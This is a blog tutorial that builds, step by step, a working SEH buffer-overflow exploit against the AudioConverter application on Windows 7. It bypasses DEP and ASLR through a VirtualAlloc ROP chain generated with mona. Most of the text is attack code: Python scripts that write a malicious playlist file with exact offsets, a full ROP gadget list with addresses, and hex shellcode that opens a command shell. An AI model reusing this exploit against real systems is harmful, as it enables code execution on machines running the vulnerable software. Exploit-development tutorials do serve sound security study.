Today’s Operating System uses various memory protection like DEP and ASLR. Microsoft enabled ALSR from 2007 to all its products. While Google and Firefox implement ASLR in 2010. We know that SEH exploitation is not possible in windows 7 and 8 due to DEP and ASLR. Yeah it is true but we can bypass ALSR and DEP. The methods through which we can bypass are also explained in one of the trainings by SecurityXploded.

The various methods are:

  • HeapCreate
  • VirtualAlloc
  • VirtualProtect
  • WriteProcessMemory

In this blog I will bypass the ALSR and DEP through VirtualAlloc method on the AudioConverter Application. This application can be download through http://www.exploit-db.com/wp-content/themes/exploit/applications/75f68aaa2ed2bdc458b2114f4ee302ae-audc81d.exe.

Requirement:

  • Windows 7 64 bit with audioconverter.exe install on it.
  • Immunity Debugger with mona addon.
  • python 2.7.1

Step 1:

As this software take .pls/.m3u/.wam playlist format. We first create a python program that write dummy string in the .pls file and import that file in the application.

#!/usr/bin/python

data = “A” * 30000

 

handle = open(“audio.pls”, “w”)

handle.write(data)

handle.close()

 

Step2:

Open exe file in the immunity debugger. Press F9 to enter in the program entry point.

Audio Converter interface will pop up and then cancel the pop that about credit information.

 

1bypass_1

 

Click on file à add playlist and open our python created audio.pls file.bp1_1 bp2_1

 

Step 3:

As we add data more than it can hold it will cause buffer overflow and if we see the SEH chain by pressing ALT+S. We can see that SEH chain is corrupted.

2bypass 1

 

Step 4:

Now we will try to find out exact offset that over right SEH. For that create pattern of 30000. We can create using metasploit or most easy is using mona addon that is developed by CORLEAN team. If you do not have mona utility then download and paste into pyCommands folder of immunity debugger.

(https://redmine.corelan.be/projects/mona/repository/raw/mona.py )

To create pattern use this command in Immunity Debugger.

!mona pattern_create 30000

 

3bypass 1

 

The created pattern will found at the path that will be visible when we enable show hidden folder.

C:\Users\*your username here*\AppData\Local\VirtualStore\Program Files\Immunity Inc\Immunity Debugger

Now copy that pattern and paste into our python program.

Restart the application using CTRL+F2.

Step 5:

Again see SEH chain we can see that value of SEH handler is 39724638.

Find the exact offset using a simple command.

!mona pattern_offset 39724638

4bypass 1

Step 6:

We will get 4436 value. It means our SEH is at 4436 and Next SEH pointer is at 4432.

5bypass 1

We can verify by our python program. At SEH place BBBB and at Next SEH pointer place CCCC.

So our python would be like that:

#!/usr/bin/python

data = “A” * 4432

Next_Seh_Pointer= ”CCCC”

Seh=”BBBB”

remaining=”C”*(30000- len(data) –len(Next_Seh_Pointer) –len(Seh))

buffer=data+Next_Seh_Pointer+Seh+remaining

 

handle = open(“audio.pls”, “w”)

handle.write(buffer)

handle.close()

 

Run again the Python program. Restart the application again using CTRL+F2.

6bypass 1

Now look at Next SEH pointer (43434343) and SEH handler (42424242). So SEH is in our control. It means we win one fourth of the battleJ.

Step7:

Follow SEH handler into the address and modify its value with any executable module. You can choose any value as your wish from the executable modules. I use the EIP instruction.

8bypass 1

When we click on Follow address in Stack pointer automatically point to its address in 4 column of Immunity Debugger. Then right click and modify the value of SEH Handler with EIP instruction.

9bypass 1

10bypass 1

 

If you want to choose different executable modules the search using command:

!mona modules

We can see that ASLR and SAFESEH, DEP are enable:-).

7bypass 1

After modify set breakpoint (press F2). Restart application again (CTRL+f2).

Step8:

Before adding audio.pls file change the SEH value “BBBB” to “1007E595”. While running the application it halts then pass exception (press shift+f7) and then add file. Application will stop at our breakpoint. Note the value of ESP, EBP and our buffer’s starting address. Calculate how far our buffer from the ESP & EBP.

#!/usr/bin/python

data = “A” * 4436

Seh=”\x95\xE5\x07\x10”

remaining=”C”*(30000- len(data)  –len(Seh))

buffer=data+Seh+remaining

 

handle = open(“audio.pls”, “w”)

handle.write(buffer)

handle.close()

 

11bypass 1

Here ESP =0018CCA0(buffer)  –  0018C4F0 =0*7B0

EBP=0018CCA0  – 0018C510=0*790

So we need to add constant in ESP so that it will point into our buffer.

Here the concept of ROP will help, in ROP we will reuse the program code .We need to adjust our ESP so that it will point into our buffer. So we will add some constant into ESP that is greater than 0*7B0.

For that right click on upper left panel (CPU view) then click search for then All sequences In All modules.

12bypass 1

 

Write following instruction in the pop up window:

ADD ESP, CONST

RETN

Click on search. Now we can select any one address but choose that is above 7B0. I choose 828 as it is nearer to 7B0. You can choose any one as your wish. We use return after adding constant to ESP so that we come back in our buffer.13bypass 1.1

Now modify SEH with “1001CA75” and set breakpoint (f2) at “1001CA75”.

Run the python program again as well as restart application again. Actually our aim is to find the good address in the memory where there is an instruction to increment ESP so it will make it to point our buffer and after return land somewhere in our buffer.

Step9:

Application stop at breakpoint i.e. 1001CA75 .Press F8 and see where ESP point in our Buffer. ESP points +78 means (7*16+8*1) 120 bytes in decimal. It means next ROP instruction should be @ offset 120 bytes of our buffer.

14bypass 1

Make changes in the python program. After 120 bytes use 00000001 as ROP instruction and run the application again without setting breakpoint. If EIP point to 00000001 it means we are going in right direction.

#!/usr/bin/python

data = “A” * 120

rop_first=”\x01\x00\x00\x00 ”

data2= “B”*(4436 –len(data) –len(rop_first))

Seh=”\x75\xCA\x01\x10”

remaining=”C”*(30000 –len(data) –len(rop_first) –len(data2) –len(Seh))

buffer=data+rop_first+data2+Seh+remaining

 

handle = open(“audio.pls”, “w”)

handle.write(buffer)

handle.close()

 

15bypass 1

As EIP point our first ROP instruction so we win our half battle !!.

Step 10:

As we get our ROP offset we will create our ROP chain using !mona rop command.

The ROP chain will found at this path → C:\users\*your username*\AppData\Local\VirtualStore\Program Files\Immunity Inc\Immunity Debugger\rop_chains.txt16bypass 1

Copy and paste this in python program. As in the rop_chains.txt there will be many rop chain like in python, java, perl etc but copy only python. If you program in any other language then choose according to that.

Step 11:

Our next step is to find our offset of shellcode. For that set breakpoint at SEH handler and restart application. Application halt at breakpoint then press F8. Look at the stack after return we will get VIrtualAlloc function.

Now calculate how our buffer far from this so that at that offset we can place our shellcode.

We get +BC (in decimal 188 ) so we should place our shellcode after 188 bytes.

Modify our python program. Restart application and if everything will be OK then we will get command shell :-).

Shellcode can be copy from exploit-db.com.

If get shell then run application by removing all breakpoint.

#!/usr/bin/python

import struct

def create_rop_chain():

# rop chain generated with mona.py – www.corelan.be

rop_gadgets = [

0x10082cde,  # POP EDX # RETN [audconv.dll]

0x0044b290,  # ptr to &VirtualAlloc() [IAT audconv.exe]

0x1003dd8b,  # MOV EAX,DWORD PTR DS:[EDX] # RETN [audconv.dll]

0x10037d05,  # XCHG EAX,ESI # RETN [audconv.dll]

0x1005baa3,  # POP EBP # RETN [audconv.dll]

0x0040a8f4,  # & call esp [audconv.exe]

0x1004d032,  # POP EBX # RETN [audconv.dll]

0x00000001,  # 0x00000001-> ebx

0x10082d48,  # POP EDX # RETN [audconv.dll]

0x00001000,  # 0x00001000-> edx

0x100707ec,  # POP ECX # RETN [audconv.dll]

0x00000040,  # 0x00000040-> ecx

0x100387d2,  # POP EDI # RETN [audconv.dll]

0x1003f2b9,  # RETN (ROP NOP) [audconv.dll]

0x1008aa12,  # POP EAX # RETN [audconv.dll]

0x90909090,  # nop

0x1002ef14,  # PUSHAD # RETN [audconv.dll]

]

return ”.join(struct.pack(‘<I’, _) for _ in rop_gadgets)

 

shellcode = ( “\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B”+

“\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9″+

“\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C”+

“\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0″+

“\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B”+

“\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72″+

“\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03″+

“\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47″+

“\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F”+

“\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72″+

“\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66″+

“\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14″+

“\x8E\x03\xD3\x52\x68\x78\x65\x63\x01\xFE”+

“\x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53″+

“\xFF\xD2\x68\x63\x6D\x64\x01\xFE\x4C\x24″+

“\x03\x6A\x05\x33\xC9\x8D\x4C\x24\x04\x51″+

“\xFF\xD0\x68\x65\x73\x73\x01\x8B\xDF\xFE”+

“\x4C\x24\x03\x68\x50\x72\x6F\x63\x68\x45″+

“\x78\x69\x74\x54\xFF\x74\x24\x20\xFF\x54″+

“\x24\x20\x57\xFF\xD0”)

data = “A” * 120

rop_first=create_rop_chain()

data2=”B”*(188-len(data)-len(rop_first)) #here we place our shell code

data3= “B”*(4436-len(data)-len(rop_first)-len(data2)-len(shellcode))

Seh=”\x75\xCA\x01\x10”

buffer=data+rop_first+data2+shellcode+data3+Seh

buffer +=”C”*(30000-len (buffer))

handle = open(“audio.pls”, “w”)

handle.write(buffer)

handle.close()

 

Step 12:

Restart application and python program again.

We bypass everything:-) 🙂

18bypass

 

References:

Exploit-db

Tekwizz123 bypass aslr and dep